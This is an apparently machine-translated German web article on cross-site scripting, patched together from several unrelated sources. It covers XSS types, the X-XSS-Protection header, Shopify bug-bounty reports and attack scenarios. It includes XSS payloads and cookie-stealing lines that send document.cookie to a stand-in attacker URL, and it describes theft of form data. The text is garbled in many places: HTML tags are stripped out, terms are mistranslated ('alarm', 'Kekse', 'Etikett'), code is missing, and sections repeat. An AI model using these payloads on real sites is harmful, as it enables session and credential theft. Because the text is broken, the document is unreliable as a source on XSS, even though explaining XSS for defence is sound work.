XSS-Sicherheitslücke – was ist das? Beispiele für XSS-Schwachstellen. Einfacher Hack: So extrahieren Sie Daten über Cross Site Scripting Inclusion Xss warning noscript

Die Verwendung von Sicherheitsheadern ist ein wichtiger Bestandteil beim Schutz einer Website und ihrer Besucher vor Hackerangriffen. Im letzten Artikel zum Bereich Schutz und Sicherheit habe ich versprochen, regelmäßig Beiträge zu diesem Thema zu veröffentlichen. Heute werde ich über den Schutz vor XSS-Angriffen sprechen.

Was ist ein XSS-Angriff?

Cross Site Scripting ist eine Schwachstelle, die es einem Angreifer ermöglicht, schädlichen Code (normalerweise HTML oder JavaScript) in den Inhalt einer Website einzuschleusen. Schadcode wird im Browser des Benutzers ausgeführt, der die infizierte Website-Seite aufruft.

Angreifer können verschiedene Schwachstellen ausnutzen. Die häufigsten Angriffsarten sind:

Reflected XSS ist der häufigste nicht-persistente Angriffstyp, der eine bestimmte Aktion des Benutzers erfordert.
Persistentes XSS ist ein dauerhafter Angriffstyp, der Schadcode in den Server einschleust und kein Eingreifen des Benutzers erfordert.

Reflektierter XSS-Angriff

Wird ausgelöst, wenn ein Benutzer einem speziell vorbereiteten Link folgt, der eine Anfrage an eine Website mit einer Schwachstelle sendet. Diese Schwachstelle ist typischerweise das Ergebnis einer unzureichenden Filterung eingehender Anfragen, wodurch Funktionen manipuliert und schädliche Skripte aktiviert werden können.

Der Angreifer bettet ein bösartiges Skript in den Hyperlink ein, der die Anzeige von Benutzersitzungscookies ermöglicht, und sendet es per E-Mail oder über andere Kommunikationsmittel an das Opfer.

Beim Klicken auf den Link wird der Benutzer erfasst.

Das Skript wird im Browser des Benutzers ausgeführt.

Der Browser sendet Cookies an den Angreifer und ermöglicht so den Zugriff auf die persönlichen Daten des Benutzers.

Gespeicherter XSS-Angriff

Um einen gespeicherten Angriff erfolgreich durchzuführen, muss ein Angreifer lediglich eine Schwachstelle auf der Website finden und ein bösartiges Skript auf seinem Server platzieren. Anschließend platziert die Site einen Tag, der das Skript von einer externen Site lädt, beispielsweise in Kommentaren. Beim Laden einer infizierten Seite wird jedes Mal ein Schadskript an den Browser des Benutzers übertragen.

Ein Angreifer entdeckt eine Website mit einer XSS-Schwachstelle und schleust ein bösartiges Skript ein, das die Cookies des Benutzers stiehlt.

Jedes Mal, wenn Sie eine Website besuchen, wird das Schadskript aktiviert, ohne dass irgendwelche Aktionen ausgeführt werden.

Sitzungscookies vom Browser des Besuchers werden an den Angreifer gesendet.

Aktivieren des X-XSS-Protection-Headers

Der X-XSS-Protection-Header soll den in allen modernen Browsern integrierten Cross-Site-Scripting-Filter aktivieren. Dadurch kann beispielsweise die Ausführung eines Tags in der Seiten-URL verhindert werden.

Die Report-Anweisung zum Senden von Berichten verhält sich ähnlich wie die Content Security Policy (CSP)-Anweisung „report-uri“ (oder „report-to“) und weist den Browser des Benutzers an, Versuche zur Verletzung der Inhaltssicherheitsrichtlinie zu melden. Darüber werde ich in einem separaten Artikel sprechen.

Der Verstoßbericht wird im JSON-Format generiert und über POST-Anfragen an die angegebene URL gesendet.

Zurück zum Hauptthema: Ich empfehle, den Server so einzurichten, dass der HTTP-Header eine Filterung beinhaltet und im Falle eines XSS-Angriffs das Laden einer Seite mit unsicherem Inhalt blockiert. In der zusätzlichen Konfigurationsdatei.htaccess (oder httpd.conf, wenn Sie vollen Zugriff auf den Server haben) des Apache-Webservers müssen Sie den folgenden Eintrag hinzufügen:

Header-Set X-XSS-Protection „1; mode=block“

Fügen Sie für den Nginx-Server den folgenden Eintrag zur Datei nginx.conf im HTTP-Abschnitt hinzu:

Add_header X-XSS-Protection "1; mode=block" ;

Für den Fall, dass kein Zugriff auf die Serverkonfigurationsdateien, aber PHP-Unterstützung vorhanden ist, nutzen Sie die Funktion:

Cross Site Scripting, auch als XSS bekannt, ist eine Methode zum Einschleusen von Schadcode, der auf der Clientseite ausgeführt wird. Dem Nutzer kann es passieren, dass etwas nicht stimmt, zum Beispiel ein ungewöhnliches Verhalten der Seite, manchmal läuft der Angriff völlig unbemerkt im Hintergrund ab.

Hoffentlich verstehen Sie jetzt etwas mehr über HTTP-Server-Header und X-XSS kann dabei helfen, Cross-Site-Scripting zu verhindern. Ich verwende auf allen meinen Websites Sicherheitsheader und empfehle Ihnen dringend, dasselbe zu tun. Gemeinsam können wir das Internet sicherer machen! 😉

Beim Cross-Site-Scripting oder Cross-Site-Scripting oder XSS handelt es sich um eine Website, die unbeabsichtigten Javascript-Code enthält, der wiederum an Benutzer übertragen wird, die den Code in ihren Browsern ausführen. Ein harmloses Beispiel für XSS (das genau das ist, was Sie verwenden sollten!) sieht so aus:

alarm('XSS');

Dadurch wird die Javascript-Benachrichtigungsfunktion aufgerufen und ein einfaches (und harmloses) Feld mit den Buchstaben XSS erstellt. In früheren Versionen des Buches habe ich empfohlen, dieses Beispiel beim Schreiben von Berichten zu verwenden. Bis mir ein äußerst erfolgreicher Hacker erzählte, dass es sich um ein „schreckliches Beispiel“ handele, und erklärte, dass der Empfänger eines Schwachstellenberichts die Schwere des Problems möglicherweise nicht erkennen und eine kleine Belohnung auszahlen würde, weil das Beispiel harmlos sei.

Verwenden Sie also dieses Beispiel, um eine XSS-Schwachstelle zu erkennen, aber denken Sie beim Verfassen des Berichts über den potenziellen Schaden nach, den die Schwachstelle verursachen könnte, und erläutern Sie ihn. Damit meine ich nicht, dem Unternehmen zu sagen, was XSS ist, sondern vielmehr zu erklären, was Sie durch die Ausnutzung der Sicherheitslücke erreichen können und wie sich dies konkret auf ihre Website auswirken könnte.

Es gibt drei verschiedene Arten von XSS, von denen Sie bei der Recherche und Berichterstattung möglicherweise hören:

Reflektierendes XSS: Diese Angriffe werden nicht auf der Website gespeichert, was bedeutet, dass das XSS in einer einzigen Anfrage und Antwort generiert und ausgeführt wird.
Gespeichertes XSS: Diese Angriffe werden auf der Website gespeichert und sind oft gefährlicher. Sie werden auf dem Server gespeichert und von ahnungslosen Benutzern auf „normalen“ Seiten ausgeführt.
Self-XSS: Diese Angriffe werden auch nicht auf der Website gespeichert und werden normalerweise verwendet, um eine Person dazu zu verleiten, XSS selbst auszuführen. Wenn Sie nach Schwachstellen suchen, werden Sie feststellen, dass Unternehmen sich oft nicht um die Beseitigung von Self-XSS kümmern, sondern nur darum kümmern sich um Fälle, in denen den Benutzern Schaden durch andere als sie selbst zugefügt werden kann, wie es bei „Reflective“ und „Stored XSS“ der Fall ist. Dies bedeutet jedoch nicht, dass Sie nicht nach Self XSS suchen sollten.

Wenn Sie auf eine Situation stoßen, in der Self XSS ausgeführt, aber nicht gespeichert werden kann, denken Sie darüber nach, wie diese Schwachstelle ausgenutzt werden könnte. Können Sie sie in Kombination mit etwas verwenden, sodass es nicht länger Self XSS ist?

Eines der bekanntesten Beispiele für die Verwendung von XSS ist MySpace Samy Work von Samy Kamkar. Im Oktober 2005 nutzte Sami eine gespeicherte XSS-Schwachstelle in MySpace aus, die es ihm ermöglichte, Javascript-Code hochzuladen, der jedes Mal ausgeführt wurde, wenn jemand seine MySpace-Seite besuchte, und den Seitenbesucher als Freund von Samis Profil hinzuzufügen. Darüber hinaus kopierte sich der Code auch auf die Seiten von Samys neuen Freunden, sodass die Profile seiner neuen Freunde mit dem folgenden Text aktualisiert wurden: „Aber vor allem ist Samy mein Held.“

Obwohl Samis Beispiel relativ harmlos war, ermöglicht die Verwendung von XSS den Diebstahl von Anmeldedaten, Passwörtern, Bankinformationen usw. Trotz des potenziellen Schadens ist das Beheben von XSS-Schwachstellen im Allgemeinen nicht schwierig und erfordert, dass Entwickler beim Rendern Benutzereingaben einfach umgehen (genau wie bei der HTML-Injection). Allerdings entfernen einige Websites auch potenziell bösartige Zeichen, wenn der Hacker sie sendet.

1. Shopify-Verkauf

Schwierigkeit: Niedrig
URL: wholesale.shopify.com
Link zum Bericht: https://hackerone.com/reports/10629326 Berichtsdatum: 21. Dezember 2015
Gezahlte Belohnung: 500 $
Beschreibung:

Die Shopify27-Verkaufsseite ist eine einfache Seite mit einem direkten Call-to-Action – geben Sie den Namen des Produkts ein und klicken Sie auf „Produkte suchen“. Hier ist ein Screenshot:

Screenshot der Großhandelsverkaufsseite

Die XSS-Schwachstelle hier war die einfachste, die Sie finden können – der in die Suchleiste eingegebene Text wurde nicht maskiert, sodass jedes eingegebene Javascript ausgeführt wurde. Hier ist der gesendete Text aus der Schwachstellenbeschreibung: test’;alert(‘XSS’);’

Der Grund dafür, dass dies funktionierte, liegt darin, dass Shopify Benutzereingaben entgegennahm, die Suchabfrage ausführte und, wenn es keine Ergebnisse gab, eine Meldung ausgab, dass es keine Suchergebnisse für den eingegebenen Suchbegriff gab, und die nicht maskierte Benutzereingabe auf der Seite anzeigte. Infolgedessen wurde das übermittelte Javascript auf der Seite gerendert und von Browsern als ausführbares Javascript interpretiert.

Schlussfolgerungen

Testen Sie alles und achten Sie dabei besonders auf Situationen, in denen der eingegebene Text auf der Seite wiedergegeben wird. Testen Sie, ob Sie HTML oder Javascript in Ihre Eingaben einbinden können, und sehen Sie, wie die Website diese verarbeitet. Versuchen Sie auch, die Eingabe ähnlich zu kodieren, wie im Kapitel über HTML-Injektionen beschrieben.

XSS-Schwachstellen müssen nicht komplex oder verwirrend sein. Diese Sicherheitslücke war die einfachste, die man sich vorstellen kann – ein einfaches Texteingabefeld, das keine Benutzereingaben verarbeitet. Und es wurde am 21. Dezember 2015 entdeckt und brachte dem Hacker 500 Dollar ein! Alles, was es brauchte, war Hacker-Denken.

2. Shopify-Geschenkkartenwagen

Schwierigkeit: Niedrig
URL: hardware.shopify.com/cart
Link zum Bericht: https://hackerone.com/reports/9508928 Berichtsdatum: 21. Oktober 2015
Gezahlte Belohnung: 500 $
Beschreibung:

Auf der Website des Shopify29-Geschenkkartenshops können Benutzer ihre eigenen Geschenkkartendesigns mithilfe eines HTML-Formulars erstellen, das ein Feld zum Hochladen von Dateien, einige Zeilen zur Texteingabe für Details usw. enthält. Hier ist ein Screenshot:

Screenshot des Formulars für den Shopify-Geschenkkartenshop

Die XSS-Schwachstelle wurde hier ausgelöst, als Javascript in das für den Bildtitel vorgesehene Formularfeld eingegeben wurde. Das geht ganz einfach mit HTML-Proxys, worüber wir später im Kapitel „Tools“ sprechen werden. Die ursprüngliche Formulareinreichung enthielt also Folgendes:

Inhalt – Disposition: Formulardaten; name = „Eigenschaften [Artwor 2k-Datei]“

Es könnte abgefangen und geändert werden in:

Inhalt – Disposition: Formulardaten; name = ”properties [ Artwor 2 k-Datei< img src = ’test ’onmouseover = ’alert (2 ) ’> ] ”;

Schlussfolgerungen

Hier sind zwei Dinge zu beachten, die Ihnen beim Erkennen von XSS-Schwachstellen helfen.

Unter Cross-Site-Scripting (XSS) versteht man einen clientseitigen Code-Injection-Angriff, bei dem ein Angreifer bösartige Skripte auf einer Website oder Webanwendung ausführen kann. XSS ist eine der häufigsten Sicherheitslücken in Webanwendungen und tritt auf, wenn eine Webanwendung keine Eingabe-/Ausgabevalidierung oder -kodierung verwendet.

Durch die Verwendung von XSS nimmt der Angreifer das Opfer nicht direkt ins Visier. Stattdessen wird eine Schwachstelle in einer Website oder Webanwendung ausgenutzt, die das Opfer besucht, und dabei die anfällige Website im Wesentlichen als Vehikel genutzt, um ein bösartiges Skript an den Browser des Opfers zu übermitteln.

Während XSS in VBScript, ActiveX und Flash verwendet werden kann (wobei Letzteres mittlerweile als veraltet gilt), wird es in JavaScript zweifellos am häufigsten missbraucht – vor allem, weil JavaScript für die meisten Websites von grundlegender Bedeutung ist.

So funktioniert Cross-Site-Scripting

Um bösartigen JavaScript-Code im Browser eines Opfers auszuführen, muss der Angreifer zunächst einen Weg finden, Nutzdaten in die Webseite einzuschleusen, die das Opfer besucht. Natürlich könnte ein Angreifer Social-Engineering-Techniken nutzen, um einen Benutzer mit einer injizierten JavaScript-Nutzlast zum Besuch einer anfälligen Seite zu verleiten.

Damit ein XSS-Angriff stattfinden kann, muss die anfällige Website Benutzereingaben direkt auf ihren Seiten einbinden. Der Angreifer kann dann eine Zeichenfolge einfügen, die auf der Webseite verwendet und vom Browser des Opfers als Code verarbeitet wird.

Der folgende serverseitige Pseudocode wird verwendet, um den neuesten Kommentar auf einer Webseite anzuzeigen.

Print "" print "Neuester Kommentar" print Database.latestComment print "" Das obige Skript druckt einfach den neuesten Kommentar aus der Kommentardatenbank und druckt den Inhalt auf der HTML-Seite, vorausgesetzt, der gedruckte Kommentar besteht nur aus Text.

Der obige Seitencode ist anfällig für xss, da ein Angreifer einen Kommentar hinterlassen kann, der bösartige Nutzdaten enthält, z. B.

doSomethingEvil();. Benutzer, die die Webseite besuchen, erhalten die folgende HTML-Seite.

Neuester Kommentar doSomethingEvil(); Wenn die Seite im Browser des Opfers geladen wird, wird das bösartige Skript des Angreifers ausgeführt, meist ohne dass der Benutzer sich dessen bewusst ist oder einen solchen Angriff verhindern kann.

Wichtiger Hinweis: Die Sicherheitslücke -xss kann nur bestehen, wenn die Nutzlast (bösartiges Skript), die der Angreifer einfügt, letztendlich (in diesem Fall als HTML) im Browser des Opfers gerendert wird

Was kann ein Angreifer mit JavaScript tun?

Die Konsequenzen dessen, was ein Angreifer mit der Möglichkeit, JavaScript auf einer Webseite auszuführen, anstellen kann, sind möglicherweise nicht sofort ersichtlich, insbesondere da Browser JavaScript in einer sehr streng kontrollierten Umgebung ausführen und JavaScript nur begrenzten Zugriff auf das Betriebssystem und die Dateien des Benutzers hat .

Da JavaScript jedoch Zugriff auf Folgendes hat, ist es einfacher zu verstehen, was kreative Angreifer mit JavaScript erreichen können.

Schädliches JavaScript hat Zugriff auf dieselben Objekte wie der Rest der Webseite, einschließlich Zugriff auf Cookies. Cookies werden häufig zum Speichern von Sitzungstokens verwendet. Wenn ein Angreifer das Sitzungscookie eines Benutzers erhalten kann, kann er sich als dieser Benutzer ausgeben.

JavaScript kann XMLHttpRequest verwenden, um HTTP-Anfragen mit beliebigem Inhalt in beliebige Richtungen zu senden.

JavaScript in modernen Browsern kann HTML5-APIs verwenden, um beispielsweise auf die Geolokalisierung, Webcam, das Mikrofon des Benutzers und sogar auf bestimmte Dateien aus dem Dateisystem des Benutzers zuzugreifen. Während die meisten dieser APIs eine Benutzerinteraktion erfordern, kann XSS in Kombination mit cleverem Social Engineering für einen Angreifer ziemlich gute Ergebnisse liefern.

Im Allgemeinen ermöglichen diese Methoden in Kombination mit Social Engineering Angreifern die Organisation von Angriffen wie Cookie-Diebstahl, Keylogging, Phishing und Identitätsdiebstahl. Entscheidend ist, dass XSS-Schwachstellen den perfekten Nährboden für Angreifer darstellen, um Angriffe zu ernsteren Angriffen auszuweiten.

Ist Cross-Site-Scripting nicht ein Benutzerproblem?

Nein. Wenn ein Angreifer eine XSS-Schwachstelle in einer Webseite missbrauchen kann, um beliebiges JavaScript im Browser des Besuchers auszuführen, ist die Sicherheit dieser Website oder Webanwendung und ihrer Benutzer gefährdet – xss ist nicht das Problem des Benutzers, ebenso wenig wie eine andere Sicherheitslücke, wenn Es wirkt sich auf Ihre Benutzer aus, es wird sich auf Sie auswirken.

Anatomie eines Cross-Site-Scripting-Angriffs

Für einen XSS-Angriff sind drei Teilnehmer erforderlich: die Website, das Opfer und der Angreifer. Das folgende Beispiel geht davon aus, dass das Ziel des Angreifers darin besteht, sich als Opfer auszugeben, indem er dessen Cookies stiehlt. Das Senden von Cookies an den Server des Angreifers kann auf verschiedene Arten erfolgen, unter anderem durch die Ausführung des folgenden JavaScript-Codes im Browser des Opfers unter Ausnutzung einer XSS-Schwachstelle.

window.?cookie=“ + document.cookie Die folgende Abbildung zeigt eine Schritt-für-Schritt-Anleitung für einen einfachen XSS-Angriff.

Ein Angreifer gibt Nutzdaten in die Datenbank einer Website ein, indem er ein anfälliges Formular mit bösartigem JavaScript-Code sendet
Das Opfer fordert eine Webseite von einer Website an
Die Website stellt dem Browser des Opfers eine Seite mit den Nutzdaten des Angreifers als Teil des HTML-Bodys bereit.
Der Browser des Opfers führt das bösartige Skript im HTML-Text aus. In diesem Fall werden die Cookies des Opfers an den Server des Angreifers gesendet. Jetzt muss der Angreifer lediglich das Cookie des Opfers extrahieren, wenn eine HTTP-Anfrage beim Server eintrifft, woraufhin der Angreifer das gestohlene Cookie des Opfers verwenden kann.

Einige Beispiele für Cross-Site-Angriffsskripte

Nachfolgend finden Sie eine kleine Liste von XSS-Angriffsszenarien, mit denen ein Angreifer die Sicherheit einer Website oder Webanwendung gefährden kann.

Etikett

Dieses Tag ist die direkteste XSS-Schwachstelle. Das Skript-Tag kann auf externen JavaScript-Code verlinken.

alarm("XSS"); Etikett

Mit XSS kann die Injektion innerhalb des Tags mithilfe des Onload-Attributs oder eines anderen dunkleren Attributs wie Hintergrund erfolgen.

Tag Einige Browser führen JavaScript aus, wenn es vorhanden ist .

Tag Mit diesem Tag können Sie eine weitere HTML-Seite in die übergeordnete Seite einbetten. Ein iFrame kann JavaScript enthalten. Es ist jedoch wichtig zu beachten, dass JavaScript in einem iFrame aufgrund der Content Security Policy (CSP) des Browsers keinen Zugriff auf das DOM der übergeordneten Seite hat. Dennoch sind IFrames immer noch ein sehr wirksames Mittel für Phishing-Angriffe.

Etikett

Wenn das Typattribut dieses Tags in einigen Browsern auf „Bild“ gesetzt ist, kann es zum Hosten eines Skripts verwendet werden.

Etikett

Das Tag, das häufig zum Verlinken auf externe Stylesheets verwendet wird, kann Skript enthalten.

Etikett

Das Hintergrundattribut von Tabellen- und TD-Tags kann verwendet werden, um ein Skript anstelle eines Bildes anzuzeigen.

Etikett

Im Tag ähnlich

Und

Tags können Sie den Hintergrund festlegen und so das Skript einfügen.

Etikett

Dieses Tag kann verwendet werden, um von einer externen Site in ein Skript eingebunden zu werden.

Ist Ihre Website anfällig für Cross-Site-Scripting?

XSS-Schwachstellen gehören zu den häufigsten Schwachstellen in Webanwendungen im Internet. Glücklicherweise können Sie ganz einfach überprüfen, ob Ihre Website oder Webanwendung anfällig für XSS und andere Schwachstellen ist, indem Sie einfach Kontakt mit mir aufnehmen. Gegen eine geringe Gebühr scanne ich mit speziellen Programmen Ihre Ressource, finde potenzielle Schwachstellen und erkläre Ihnen, wie Sie diese beseitigen können.

Cross-Site-Scripting (kurz: XSS) ist eine weit verbreitete Schwachstelle, die viele Webanwendungen betrifft. Es ermöglicht einem Angreifer, bösartigen Code so in eine Website einzuschleusen, dass der Browser eines Benutzers, der die Website besucht, den Code ausführt.

Typischerweise erfordert die Ausnutzung einer solchen Sicherheitslücke eine gewisse Interaktion mit dem Benutzer: Entweder wird er mithilfe von Social Engineering auf eine infizierte Website gelockt oder er wartet einfach darauf, dass der Benutzer die Website besucht. Daher nehmen Entwickler XSS-Schwachstellen oft nicht ernst.

Wenn sie jedoch unberücksichtigt bleiben, können sie ein ernstes Sicherheitsrisiko darstellen.

Stellen wir uns vor, wir befinden uns im WordPress-Admin-Panel und fügen neue Inhalte hinzu. Wenn wir hierfür ein XSS-anfälliges Plugin verwenden, kann es den Browser zwingen, einen neuen Administrator zu erstellen, den Inhalt zu ändern und andere böswillige Aktionen auszuführen. Durch Cross-Site-Scripting erhält ein Angreifer nahezu vollständige Kontrolle über die heutzutage wichtigste Software – den Browser.

XSS: Injektionsschwachstelle

Jede Website oder Anwendung verfügt über mehrere Stellen für die Dateneingabe – von Formularfeldern bis hin zur URL selbst. Das einfachste Beispiel für die Dateneingabe ist die Eingabe eines Benutzernamens und Passworts in ein Formular:

Unser Name wird für spätere Interaktionen mit uns in der Datenbank der Website gespeichert. Wenn Sie sich auf einer Website angemeldet haben, haben Sie sicherlich eine persönliche Begrüßung im Stil von „Willkommen, Ilja“ gesehen.

Zu diesem Zweck werden Benutzernamen in der Datenbank gespeichert.

Bei einer Injektion handelt es sich um einen Vorgang, bei dem anstelle eines Namens oder Passworts eine spezielle Zeichenfolge eingegeben wird, die den Server oder Browser zu einer vom Angreifer gewünschten Reaktion zwingt.

Cross-Site-Scripting ist eine Injektion, die Code einfügt, der im Namen der Website Aktionen im Browser ausführt. Dies kann entweder durch Benachrichtigung des Benutzers oder im Hintergrund, ohne dessen Wissen, geschehen.

Herkömmliche XSS-Angriffe: Reflektiert (nicht persistent).

Ein reflektierter XSS-Angriff wird ausgelöst, wenn ein Benutzer auf einen speziell gestalteten Link klickt.

Diese Schwachstellen treten auf, wenn von einem Webclient bereitgestellte Daten, meist in Form von HTTP-Anforderungsparametern oder in HTML-Form, direkt von serverseitigen Skripts ausgeführt werden, um eine Ergebnisseite für diesen Client zu analysieren und anzuzeigen, ohne dass eine ordnungsgemäße Verarbeitung erfolgt.

Gespeichert (persistent).

Gespeichertes XSS ist möglich, wenn es einem Angreifer gelingt, Schadcode in den Server einzuschleusen, der bei jedem Zugriff auf die Originalseite im Browser ausgeführt wird. Ein klassisches Beispiel für diese Schwachstelle sind Foren, die HTML-Kommentare zulassen.

Durch clientseitigen Code (JavaScript, Visual Basic, Flash usw.) verursachte Sicherheitslücken: Auch bekannt als DOMs: Reflektiert (nicht persistent).

Dasselbe wie bei der Serverseite, nur ist in diesem Fall der Angriff möglich, da der Code vom Browser verarbeitet wird.

Gespeichert (persistent).

Ähnlich wie beim serverseitig gespeicherten XSS wird in diesem Fall die Schadkomponente mithilfe des Browserspeichers auf der Clientseite gespeichert.

Beispiele für XSS-Schwachstellen.

Interessanterweise haben wir in den meisten Fällen, in denen diese Sicherheitslücke beschrieben wird, Angst vor dem folgenden Code:

Http://www.site.com/page.php?var=alert("xss");

Es gibt zwei Arten von XSS-Schwachstellen: passive und aktive.

Aktive Verletzlichkeit ist gefährlicher, da der Angreifer das Opfer nicht über einen speziellen Link locken muss, sondern lediglich den Code in die Datenbank oder eine Datei auf dem Server einschleusen muss. Somit werden alle Seitenbesucher automatisch zu Opfern. Die Einbindung kann beispielsweise per SQL-Injection erfolgen. Daher sollten Sie den in der Datenbank gespeicherten Daten nicht vertrauen, selbst wenn sie beim Einfügen verarbeitet wurden.

Beispiel passive Verletzlichkeit Sie können es ganz am Anfang des Artikels sehen. Dies erfordert bereits Social Engineering, beispielsweise einen wichtigen Brief der Site-Administration, in dem Sie aufgefordert werden, Ihre Kontoeinstellungen nach der Wiederherstellung aus einem Backup zu überprüfen. Dementsprechend müssen Sie die Adresse des Opfers kennen oder einfach einen Spam-Versand oder einen Beitrag in einem Forum veranlassen, und es ist keine Tatsache, dass die Opfer naiv sind und Ihrem Link folgen.

Darüber hinaus können sowohl POST- als auch GET-Parameter anfällig für passive Schwachstellen sein. Bei POST-Parametern müssen Sie natürlich auf Tricks zurückgreifen. Zum Beispiel eine Weiterleitung von der Website eines Angreifers.

document.getElementsByTagName("form").submit();

Daher ist die GET-Sicherheitsanfälligkeit etwas gefährlicher, weil ... Für ein Opfer ist es einfacher, eine falsche Domain zu bemerken als einen zusätzlichen Parameter (obwohl die URL im Allgemeinen codiert sein kann).

Kekse stehlen

Dies ist das am häufigsten genannte Beispiel für einen XSS-Angriff. Websites speichern manchmal einige wertvolle Informationen in Cookies (manchmal sogar den Benutzernamen und das Passwort (oder seinen Hash)), aber das Gefährlichste ist der Diebstahl einer aktiven Sitzung. Vergessen Sie also nicht, auf Websites auf den Link „Beenden“ zu klicken , auch wenn es ein Heimcomputer ist. Glücklicherweise ist die Sitzungsdauer bei den meisten Ressourcen begrenzt.

Var img = new Image(); img.srс = "http://site/xss.php?" + document.cookie;

Aus diesem Grund haben sie Domänenbeschränkungen für XMLHttpRequest eingeführt, aber das stellt für einen Angreifer kein Problem dar, da es Folgendes gibt: , , Hintergrund:URL(); usw.

Daten aus Formularen stehlen

Wir suchen das Formular beispielsweise über getElementById und überwachen das Ereignis onsubmit. Nun werden vor dem Absenden des Formulars auch die eingegebenen Daten an den Server des Angreifers gesendet.

Diese Art von Angriff erinnert ein wenig an Phishing, nur dass dabei eine echte und keine gefälschte Website genutzt wird, was beim Opfer mehr Vertrauen schafft.

DDoS-Angriff (Distributed-Denial-of-Service-Angriff)

Eine XSS-Schwachstelle auf stark besuchten Ressourcen kann zum Starten eines DDoS-Angriffs genutzt werden. Das Wesentliche ist einfach: Es gibt viele Anfragen, denen der angegriffene Server nicht standhalten kann.
Tatsächlich ist der Bezug zu XSS indirekt, da Skripte überhaupt nicht verwendet werden dürfen, reicht eine Konstruktion wie diese:

Welche Gefahren birgt XSS?

Wie können Sie Ihre Website vor XSS schützen? Wie überprüfen Sie Ihren Code auf Schwachstellen? Es gibt Technologien wie die Sucuri Firewall, die speziell darauf ausgelegt sind, solche Angriffe zu verhindern. Wenn Sie jedoch Entwickler sind, möchten Sie auf jeden Fall mehr darüber erfahren, wie Sie XSS-Schwachstellen identifizieren und entschärfen können.

Wir werden darüber im nächsten Teil des Artikels über XSS sprechen.

Siegel

Auch interessant:

So erkennen Sie unbefugten Fernzugriff auf einen Computer

Handshakes in Pyrit hacken – der schnellste Weg mit GPUs und Vorberechnung von Hashes

Wir empfehlen die Lektüre:

2023-09-18 00:02:27

So richten Sie eine Warnung bei niedrigem Batteriestand auf einem Windows-Tablet oder -Laptop ein. So deaktivieren Sie die Benachrichtigung bei niedrigem Batteriestand unter Windows

2023-09-18 00:02:27

So entfernen Sie den Bearbeitungsschutz von einem Word-Dokument. Die Datei ist vor Bearbeitung geschützt

2023-09-18 00:02:27

Deaktivieren Sie die Benutzerkontensteuerung unter Windows 8

Fortsetzung des Themas:

Apfel

So drehen Sie den Bildschirm eines Laptops um

Eine versehentliche Drehung des Bildschirms ist ein sehr häufiges Problem. Stimmen Sie zu, dass es unbequem ist, zu arbeiten, wenn der Bildschirm beispielsweise um 90 Grad gedreht wird. In diesem Artikel...